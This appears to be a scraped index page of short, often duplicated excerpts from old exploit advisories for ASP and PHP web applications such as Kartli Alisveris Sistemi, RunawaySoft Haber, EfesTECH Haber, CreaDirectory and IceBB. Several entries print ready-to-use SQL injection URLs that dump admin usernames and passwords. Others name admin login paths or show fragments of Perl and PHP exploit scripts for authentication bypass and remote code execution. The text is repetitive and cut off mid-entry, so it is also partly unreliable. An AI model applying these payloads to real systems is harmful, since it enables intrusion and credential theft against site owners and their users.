Kartli Alisveris Sistemi 1.0 - SQL Injection

Kartli Alisveris Sistemi 1.0 - SQL Injection Discovered by: kerem125 & gsy Website: http://www.kerem125.com/ & http://www.by-gsy.org/ Script download: http://download.asprehberi.net/dosyalar/kategoriler/alisveris/freepaypalshoppingcarttr.zip Exploit:...

Kartli Alisveris Sistemi 1.0 - SQL Injection

Discovered by: kerem125 & gsy Website: http://www.kerem125.com/ & http://www.by-gsy.org/ Script download: http://download.asprehberi.net/dosyalar/kategoriler/alisveris/freepaypalshoppingcarttr.zip Exploit: /news.asp?newsid=16union+select+all+0,1,adminname,Password,4+from+admin Example :...

Pheap 2.0 - 'config.php' Pheap_Login Authentication Bypass

source: https://www.securityfocus.com/bid/24227/info Pheap is prone to an authentication-bypass vulnerability due to a design error. An attacker can exploit this vulnerability to bypass authentication and execute arbitrary commands in the context of the site administrator. !/usr/bin/php -q -d...

RunawaySoft Haber portal 1.0 (tr) Multiple Remote Vulnerabilities

Exploit for unknown platform in category web applications ================================================================= RunawaySoft Haber portal 1.0 tr Multiple Remote Vulnerabilities ================================================================= Discovered by: kerem125 & gsy Exploit:...

runawaysoft haber portal 1.0 - 'tr' Multiple Vulnerabilities

Discovered by: kerem125 & gsy Website: http://www.kerem125.com/ Script download: http://www.aspindir.com/goster/4901 Exploit: /devami.asp?id=14 union+select+all+0,sifre,2,3,4,5,6,7+from+admin Admin Login : haber/admin/kontrol.asp Example: http://www.runaway.somee.com/rshaber/haber/devami.asp?id=1...

efestech-sql.txt

Title: EfesTECH Haber v5,0 Remote SQL Injection Vulnerability Author: CyberGhost Demo Page: http://www.haberguvercini.com Script Page: http://aspindir.com/indir.asp?id=4899&sIslem=%DDndir Vuln. Username -...

runawaysoft haber portal 1.0 - tr Multiple Vulnerabilities

runawaysoft haber portal 1.0 - tr Multiple Vulnerabilities Discovered by: kerem125 & gsy Website: http://www.kerem125.com/ Script download: http://www.aspindir.com/goster/4901 Exploit: /devami.asp?id=14 union+select+all+0,sifre,2,3,4,5,6,7+from+admin Admin Login : haber/admin/kontrol.asp Example:...

EfesTECH Haber 5.0 - id SQL Injection

EfesTECH Haber 5.0 - id SQL Injection Title: EfesTECH Haber v5,0 Remote SQL Injection Vulnerability Author: CyberGhost Demo Page: http://www.haberguvercini.com Script Page: http://aspindir.com/indir.asp?id=4899&sIslem=%DDndir Vuln. Username -...

EfesTECH Haber 5.0 (id) Remote SQL Injection Vulnerability

No description provided by source. Title: EfesTECH Haber v5,0 Remote SQL Injection Vulnerability Author: CyberGhost Demo Page: http://www.haberguvercini.com Script Page: http://aspindir.com/indir.asp?id=4899&sIslem=%DDndir Vuln. Username -...

PT-2007-3853 · Phphoo3 · Phphoo3

Name of the Vulnerable Software and Affected Versions: phpHoo3 affected versions not specified Description: The issue allows remote attackers to execute arbitrary SQL commands via the ADMIN USER and ADMIN PASS parameters during a login in the admin.php file. However, it is noted that ADMIN USER a...

Remote file inclusion

PHP remote file inclusion vulnerability in admin/login.php in Webinsta FM Manager 0.1.4 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the absolutepath parameter, a different product and vector than CVE-2005-0748...

CreaDirectory 1.2 (error.asp id) Remote SQL Injection Vulnerability

No description provided by source. Title : CreaDirectory v1.2 Remote SQL Injection Vulnerability Author : CyberGhost Demo Page : http://www.creadirectory.com Script Page : http://www.creascripts.com/creadirectory.asp Vuln. Username :...

CreaDirectory v1.2 Remote SQL Injection Vulnerability

Title : CreaDirectory v1.2 Remote SQL Injection Vulnerability Author : CyberGhost Demo Page : http://www.creadirectory.com Script Page : http://www.creascripts.com/creadirectory.asp Vuln. Username : /error.asp?id=-1+union+select+0,1,2,username,4,5,6,7,8,9,0,1,2,3,4,5+from+members Password :...

CreaDirectory 1.2 - 'error.asp?id' SQL Injection

Title : CreaDirectory v1.2 Remote SQL Injection Vulnerability Author : CyberGhost Demo Page : http://www.creadirectory.com Script Page : http://www.creascripts.com/creadirectory.asp Vuln. Username : /error.asp?id=-1+union+select+0,1,2,username,4,5,6,7,8,9,0,1,2,3,4,5+from+members Password :...

CreaDirectory 1.2 - error.asp?id SQL Injection

CreaDirectory 1.2 - error.asp?id SQL Injection Title : CreaDirectory v1.2 Remote SQL Injection Vulnerability Author : CyberGhost Demo Page : http://www.creadirectory.com Script Page : http://www.creascripts.com/creadirectory.asp Vuln. Username :...

webinsta-rfi.txt

Program Title WebInsta FM = 0.1.4 Remote File Inclusion Vulnerability Description This is a basic file manager written by WebInsta.com Vuln Code In /admin/login.php: ifisset$COOKIE'adminname' && isset$COOKIE'adminpass' $cusername = $COOKIE'adminname'; $cpassword = $COOKIE'adminpass';...

Chatness 2.5.3 - '/options.php/save.php' Remote Code Execution

?/ Files: options.php, save.php Affects: Chatness = 2.5.3 Date: 12th April 2007 Issue Description: =========================================================================== Chatness suffers with two main vulnerabilities, the first of these in /admin/options.php the problems occur because the...

XOOPS Module Camportail 1.1 - 'camid' SQL Injection

!/usr/bin/perl Script Name: XOOPS Module Camportail : "; $dir = ; chop $dir; if $dir = /exit/ print "-- Exploit FailedYou Are Exited \n"; exit; if $dir = /// else print "-- Exploit FailedNo DIR \n"; exit; print "User ID uid: "; $id = ; chop $id; $target =...

IceBB 1.0-rc5 Remote Code Execution Exploit

No description provided by source. !/usr/bin/perl IceBB 1.0-rc5 Remote Code Execution Exploit 1. register a user 2. run this exploit with this usage : $perl xpl.pl host&path uname pass 3. login with admin access : Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use LWP::UserAgent; use...

Active Trade Remote SQL Injection Vulnerability

Title : Active Trade Remote SQL Injection Vulnerability Author : CyberGhost Demo Page : http://www.activewebsoftwares.com/demoactivetrade Script Page : http://www.activewebsoftwares.com/productinfo.aspx?productid=32 Vuln. Username :...